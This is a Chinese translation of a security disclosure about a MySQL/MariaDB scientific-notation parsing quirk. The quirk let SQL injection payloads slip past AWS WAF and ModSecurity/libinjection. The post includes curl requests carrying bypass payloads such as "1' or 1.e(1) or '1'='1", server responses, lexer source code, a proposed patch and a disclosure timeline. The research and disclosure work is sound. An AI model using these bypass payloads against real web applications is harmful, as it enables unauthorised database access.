百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 编程字典 > 正文

MySQL 中的科学记数法漏洞使 AWS WAF 客户端易受 SQL 注入攻击

toyiye 2024-06-21 12:13 10 浏览 0 评论

作者 |Marc Olivier Bergeron
译者 | 王雪迎
出品 | CSDN(ID:CSDNnews)

GoSecure道德黑客在MySQL中发现了一个具有安全问题的漏洞。该问题产生的后果是,AWS Web应用程序防火墙(AWS Web Application Firewall,WAF)客户对SQL注入失去保护。我们的研究团队进一步证实modsecurity也会受其影响,但正如本博客所述,保护是可以实现的。

问题发现


2013年,Roberto Salgado在BlackHat上发表了一篇题为“SQLi优化与混淆技术”的演讲,介绍了SQL注入的多种绕行技术,其中包括针对MySQL和MariaDB的技术。2018年,GoSecure道德黑客重提了该演示文稿,并开始在本地使用MySQL和MariaDB进行一些测试。我们发现在那篇演讲中提到的科学记数法漏洞,会产生比看上去更为严重的后果。事实证明,用它可以完成一些美妙的事情——从攻击者的角度来看是美妙的。这个漏洞允许SQL语法保持有效,即使它不该有效,给安全防御造成混乱。

科学记数法,特别是e符号,已经被集成到许多编程语言中,包括SQL。不清楚是否所有SQL都这样实现,但它是MySQL/MariaDB实现的一部分。下面是一个集成到SQL查询中的科学记数法示例。这实际上是2013年BlackHat演示中的一个。e符号将被忽略,因为它被用于无效的上下文中。

SELECT table_name FROM information_schema 1.e.tables

因此,实际上该查询的行为与以下相同:

SELECT table_name FROM information_schema .tables

通过几项测试,我们发现可以在关键字“1.e”后面加上以下字符:

( ) . , | & % * ^ /

为了说明这个问题,我们将使用下面的示例数据集来演示:

mysql> describe test;+-------+--------------+------+-----+---------+-------+| Field | Type | | Key | Default | Extra |+-------+--------------+------+-----+---------+-------+| id | int | YES | | | || test | varchar(255) | YES | | | |+-------+--------------+------+-----+---------+-------+2 rows in set (0.01 sec)
mysql> select id, test from test;+------+-----------+| id | test |+------+-----------+| 1 | admin || 2 | usertest1 || 3 | usertest2 |+------+-----------+3 rows in set (0.00 sec)

让我们看看关键字“1.e”和该关键字后面的字符可以实现什么效果:

mysql> select id 1.1e, char 10.2e(id 2.e), concat 3.e('a'12356.e,'b'1.e,'c'1.1234e)1.e, 12 1.e*2 1.e, 12 1.e/2 1.e, 12 1.e|2 1.e, 12 1.e^2 1.e, 12 1.e%2 1.e, 12 1.e&2 from test 1.e.test;+------+----------------------------------------+------------------------------------------+----------+----------+----------+----------+----------+----------+| id | char 10.2e(id 2.e) | concat 3.e('a'12356.e,'b'1.e,'c'1.1234e) | 12 1.e*2 | 12 1.e/2 | 12 1.e|2 | 12 1.e^2 | 12 1.e%2 | 12 1.e&2 |+------+----------------------------------------+------------------------------------------+----------+----------+----------+----------+----------+----------+| 1 | 0x01 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 || 2 | 0x02 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 || 3 | 0x03 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 |+------+----------------------------------------+------------------------------------------+----------+----------+----------+----------+----------+----------+3 rows in set (0.00 sec)


上述查询等价于以下查询:

mysql> select id, char(id), concat('a','b','c'), 12*2, 12/2, 12|2, 12^2, 12%2, 12&2 from test.test;+------+--------------------+---------------------+------+--------+------+------+------+------+| id | char(id) | concat('a','b','c') | 12*2 | 12/2 | 12|2 | 12^2 | 12%2 | 12&2 |+------+--------------------+---------------------+------+--------+------+------+------+------+| 1 | 0x01 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 || 2 | 0x02 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 || 3 | 0x03 | abc | 24 | 6.0000 | 14 | 14 | 0 | 0 |+------+--------------------+---------------------+------+--------+------+------+------+------+3 rows in set (0.00 sec)


太疯狂了,对吧?让我们看一下如何在真实产品中利用此漏洞。

应该注意的是,关键字“1.e”中的数字并不重要。任何数字都可以介于点和“e”之间,并且点是强制性的(例如,“1337.1337e”也可行)。


滥用漏洞绕过AWS Web应用程序防火墙(WAF)


Amazon Web Services(AWS)有一个名为CloudFront的产品,它可以与AWS WAF相结合,并具有预定义的规则,以帮助公司保护其Web应用程序免受入侵。然而,在一次接触中,我们发现AWS WAF中的“SQL数据库”规则可以绕过上一节中显示的漏洞。

一个简单的查询可以显示WAF会阻止使用著名的 1'或'1'='1 注入来请求:

$ curl -i -H "Origin: http://my-domain" -X POST \ "http://d36bjalk0ud0vk.cloudfront.net/index.php" -d "x=1' or '1'='1"HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 21 Jul 2021 21:38:16 GMTContent-Type: text/htmlContent-Length: 919Connection: keep-aliveX-Cache: Error from cloudfrontVia: 1.1 828380fdf2467860fea66d7412803418.cloudfront.net (CloudFront)X-Amz-Cf-Pop: YUL62-C1X-Amz-Cf-Id: eh5LR9w1Cjccxf5JAZ4yTkrsILZL3PLjqwCQbBUD_zakHi53NPCJrg==
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>403 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Request blocked.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: eh5LR9w1Cjccxf5JAZ4yTkrsILZL3PLjqwCQbBUD_zakHi53NPCJrg==</PRE><ADDRESS></ADDRESS></BODY></HTML>

现在我们看,如果我们在这个简单的注入中使用科学记数法,利用这个漏洞会发生什么:

$ curl -i -H "Origin: http://my-domain" -X POST \ "http://d36bjalk0ud0vk.cloudfront.net/index.php" -d "x=1' or 1.e(1) or '1'='1"HTTP/1.1 200 OKContent-Type: text/html; charset=UTF-8Content-Length: 32Connection: keep-aliveDate: Wed, 21 Jul 2021 21:38:23 GMTServer: Apache/2.4.41 (Ubuntu)X-Cache: Miss from cloudfrontVia: 1.1 eae631604d5db564451a93106939a61e.cloudfront.net (CloudFront)X-Amz-Cf-Pop: YUL62-C1X-Amz-Cf-Id: TDwlolP9mvJGtcwB5vBoUGr-JRxzcX-ZLuumG9F4vioKl1L5ztPwUw==
1 admin2 usertest13 usertest2

仅上述绕过的证据就足以激发我们对该漏洞工作原因和方式的兴趣,以便正确地披露该漏洞,并向相关方展示其对安全性的影响。


漏洞调查


起初,我们没有向MySQL和MariaDB透露这个漏洞,因为我们没有看到它的影响。在我们发现WAF绕行之前,它不会以任何方式影响数据,也不会让你的权限升级。现在我们找到了一个具体的安全影响,让我们了解一下这个漏洞是如何产生的,以及为什么它会这样。

请记住,以下解释特意保持简明扼要。

首先,MySQL和MariaDB通过在查询中查找标记来工作,如数字、字符串、注释、行尾等。一旦代码认为它知道是什么类型的标记,就会通过发送正确的函数来解析该标记。

其次,我们要查看的代码段是整数或实数解析器,因为代码将首先到达该段:

case MY_LEX_INT_OR_REAL: // Complete int or incomplete real if (c != '.') { // Found complete integer number. yylval->lex_str = get_token(lip, 0, lip->yyLength()); return int_token(yylval->lex_str.str, (uint)yylval->lex_str.length); } // fall through

第三,代码将通过实数函数找到一个点,这就是我们想要了解的代码:

case MY_LEX_REAL: // Incomplete real number while (my_isdigit(cs, c = lip->yyGet())) ;
if (c == 'e' || c == 'E') { c = lip->yyGet(); if (c == '-' || c == '+') c = lip->yyGet(); // Skip sign if (!my_isdigit(cs, c)) { // No digit after sign state = MY_LEX_CHAR; break; } while (my_isdigit(cs, lip->yyGet())) ; yylval->lex_str = get_token(lip, 0, lip->yyLength()); return (FLOAT_NUM); } yylval->lex_str = get_token(lip, 0, lip->yyLength()); return (DECIMAL_NUM);

此时,代码已经处理了点之前的数字,并开始获取点之后的所有数字。然后,条件验证该字符是“e”或“E”,然后获取下一个字符。如果该字符不是数字,则将状态设置为“MY_LEX_CHAR”,然后使用“break”运算符结束switch语句,该运算符返回到switch case的开头。

最后,到达以下case语句,在这里,标记被完全遗忘并从查询中删除:

case MY_LEX_CHAR: // Unknown or single char tokencase MY_LEX_SKIP: // This should not happen if (c == '-' && lip->yyPeek() == '-' && (my_isspace(cs, lip->yyPeekn(1)) || my_iscntrl(cs, lip->yyPeekn(1)))) { state = MY_LEX_COMMENT; break; }
if (c == '-' && lip->yyPeek() == '>') // '->' { lip->yySkip(); lip->next_state = MY_LEX_START; if (lip->yyPeek() == '>') { lip->yySkip(); return JSON_UNQUOTED_SEPARATOR_SYM; } return JSON_SEPARATOR_SYM; }
if (c != ')') lip->next_state = MY_LEX_START; // Allow signed numbers
/* Check for a placeholder: it should not precede a possible identifier because of binlogging: when a placeholder is replaced with its value in a query for the binlog, the query must stay grammatically correct. */ if (c == '?' && lip->stmt_prepare_mode && !ident_map[lip->yyPeek()]) return (PARAM_MARKER);
return ((int)c);

我们通过阅读注释“Unknown or single CHAR token”可知,此时MySQL并不知道该怎么处理标记,而“MY_LEX_CHAR”条件只是简单地下传到“MY_LEX_SKIP”条件。在“MY_LEX_SKIP”的条件下,函数将以返回字符结束。需要注意的一点是,如果字符不是右括号,则状态被设置为“MY_LEX_START”,这将从一个新标记开始。无论哪种方式,即使它以一个右括号结束,仍然不会返回标记,因此它会被丢弃。

候选修正方案

候选修正方案很简单,比如在标记不正确时中止查询,而不是让它通过。当MySQL或MariaDB找到浮点标记的开头,并且浮点标记后面没有数字时,它应该中止查询。

if (c == 'e' || c == 'E') { c = lip->yyGet(); if (c == '-' || c == '+') c = lip->yyGet(); // Skip sign if (!my_isdigit(cs, c)) { // No digit after sign return (ABORT_SYM); // <--- Fix here! } while (my_isdigit(cs, lip->yyGet())) ; yylval->lex_str = get_token(lip, 0, lip->yyLength()); return (FLOAT_NUM);}

我们向MySQL和MariaDB项目提交了修复程序。注意,这不是我们常做的事情,因为项目维护人员通常更适合修复安全问题。然而在本例中,由于这在MySQL/MariaDB中本身不是一个安全问题,因此我们认为提供修复程序将增加快速解决问题的机会。此外,我个人对浏览大型C/C++代码库以发现问题所在很感兴趣。


带有安全隐患的漏洞

如前所述,此问题的安全影响不在MySQL和MariaDB的控制范围内。任何WAF或类似的安全产品,如果忽略像这样形成的SQL请求,都将容易受到攻击。情况很复杂。如果请求是畸形的,安全产品自然不会认为它们是有效的SQL,从而使它们不需要阻止。

什么是ModSecurity


我们首先在AWS WAF上发现了这个漏洞并报告了它。然而,我们后来决定评估ModSecurity,它是Apache和nginx的流行WAF。ModSecurity捆绑了libinjection,我们也发现它受到这个混淆漏洞的影响。

这里演示了modsecurity阻止恶意SQL注入模式的能力。检测结果显示,返回一个被禁止的页面。

modsecurity(使用libinjection)正在阻止SQL注入

crs_1 | 192.168.208.1 - - [08/Oct/2021:19:28:09 +0000] "GET /index.php?genre=action%27%20or%20%27%27=%27 HTTP/1.1" 403 199
crs_1 | [Fri Oct 08 19:28:40.345633 2021] [:error] [pid 218:tid 140514141660928] [client 192.168.208.1:49958] [client 192.168.208.1] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's&sos' [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "65"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&sos found within ARGS:genre: action' or ''='"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "modsecurity"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/index.php"] [unique_id "YWCb6EwweO7WZjrKg6GHTgAAAMk"]

modsecurity日志高亮显示已触发libinjection


我们可以通过在字面表达式前加上科学记数法“1.e”来规避这种做法。Libinjection在内部标记参数并标识上下文节类型,如注释和字符串。Libinjection将字符串“1.e”视为一个未知的SQL关键字,并得出结论,它更可能是一个英语句子,而不是代码。当libinjection不识别SQL函数时,同样的行为也会出现。

modsecurity和libinjection绕行演示

当我们联系OWASP核心规则集(Core Rule Set,CRS)安全团队时,他们表示,如果规则集配置偏执级别至少为2级,则可以提供有效的保护,这是检测混淆攻击的建议。

时间线


  • 2021-02-11:作为约定的一部分,通过AWS WAF滥用漏洞

  • 2021-08-16:向亚马逊披露滥用此漏洞的WAF绕行

  • 2021-09-29:请求状态更新

  • 2021-10-01:AWS表示问题已经解决

  • 2021-10-01:发现ModSecurity/libinjection也受到影响

  • 2021-10-04:确认AWS WAF修复

  • 2021-10-04:将候选补丁发送到MySQL和MariaDB

  • 2021-10-05:通过OWASP核心规则集项目(CRS)向ModSecurity/libinjection披露

  • 2021-10-05:确认ModSecurity/libinjection中的2级偏执解决方案

  • 2021-10-19:公开披露

结论


这个安全问题与其它许多问题不同,因为它很容易被轻视为一个简单的解析器错误。我们很高兴AWS了解了这一风险,并决定在WAF中解决这一问题,特别是因为这是一种我们以前从未见过的,使亚马逊客户可能无法得到保护的奇怪情况。

希望从长远来看,MySQL和MariaDB能够修复这个bug,10年后我们将能够从WAF中删除这种奇怪的解析器行为。

特别感谢Philippe Arteau,他对ModSecurity/libinjection进行了额外的测试。

原文链接:https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/

本文由CSDN组织翻译,转载请注明来源及出处!

相关推荐

为何越来越多的编程语言使用JSON(为什么编程)

JSON是JavascriptObjectNotation的缩写,意思是Javascript对象表示法,是一种易于人类阅读和对编程友好的文本数据传递方法,是JavaScript语言规范定义的一个子...

何时在数据库中使用 JSON(数据库用json格式存储)

在本文中,您将了解何时应考虑将JSON数据类型添加到表中以及何时应避免使用它们。每天?分享?最新?软件?开发?,Devops,敏捷?,测试?以及?项目?管理?最新?,最热门?的?文章?,每天?花?...

MySQL 从零开始:05 数据类型(mysql数据类型有哪些,并举例)

前面的讲解中已经接触到了表的创建,表的创建是对字段的声明,比如:上述语句声明了字段的名称、类型、所占空间、默认值和是否可以为空等信息。其中的int、varchar、char和decimal都...

JSON对象花样进阶(json格式对象)

一、引言在现代Web开发中,JSON(JavaScriptObjectNotation)已经成为数据交换的标准格式。无论是从前端向后端发送数据,还是从后端接收数据,JSON都是不可或缺的一部分。...

深入理解 JSON 和 Form-data(json和formdata提交区别)

在讨论现代网络开发与API设计的语境下,理解客户端和服务器间如何有效且可靠地交换数据变得尤为关键。这里,特别值得关注的是两种主流数据格式:...

JSON 语法(json 语法 priority)

JSON语法是JavaScript语法的子集。JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔花括号保存对象方括号保存数组JS...

JSON语法详解(json的语法规则)

JSON语法规则JSON语法是JavaScript对象表示法语法的子集。数据在名称/值对中数据由逗号分隔大括号保存对象中括号保存数组注意:json的key是字符串,且必须是双引号,不能是单引号...

MySQL JSON数据类型操作(mysql的json)

概述mysql自5.7.8版本开始,就支持了json结构的数据存储和查询,这表明了mysql也在不断的学习和增加nosql数据库的有点。但mysql毕竟是关系型数据库,在处理json这种非结构化的数据...

JSON的数据模式(json数据格式示例)

像XML模式一样,JSON数据格式也有Schema,这是一个基于JSON格式的规范。JSON模式也以JSON格式编写。它用于验证JSON数据。JSON模式示例以下代码显示了基本的JSON模式。{"...

前端学习——JSON格式详解(后端json格式)

JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于JavaScriptProgrammingLa...

什么是 JSON:详解 JSON 及其优势(什么叫json)

现在程序员还有谁不知道JSON吗?无论对于前端还是后端,JSON都是一种常见的数据格式。那么JSON到底是什么呢?JSON的定义...

PostgreSQL JSON 类型:处理结构化数据

PostgreSQL提供JSON类型,以存储结构化数据。JSON是一种开放的数据格式,可用于存储各种类型的值。什么是JSON类型?JSON类型表示JSON(JavaScriptO...

JavaScript:JSON、三种包装类(javascript 包)

JOSN:我们希望可以将一个对象在不同的语言中进行传递,以达到通信的目的,最佳方式就是将一个对象转换为字符串的形式JSON(JavaScriptObjectNotation)-JS的对象表示法...

Python数据分析 只要1分钟 教你玩转JSON 全程干货

Json简介:Json,全名JavaScriptObjectNotation,JSON(JavaScriptObjectNotation(记号、标记))是一种轻量级的数据交换格式。它基于J...

比较一下JSON与XML两种数据格式?(json和xml哪个好)

JSON(JavaScriptObjectNotation)和XML(eXtensibleMarkupLanguage)是在日常开发中比较常用的两种数据格式,它们主要的作用就是用来进行数据的传...

取消回复欢迎 发表评论:

请填写验证码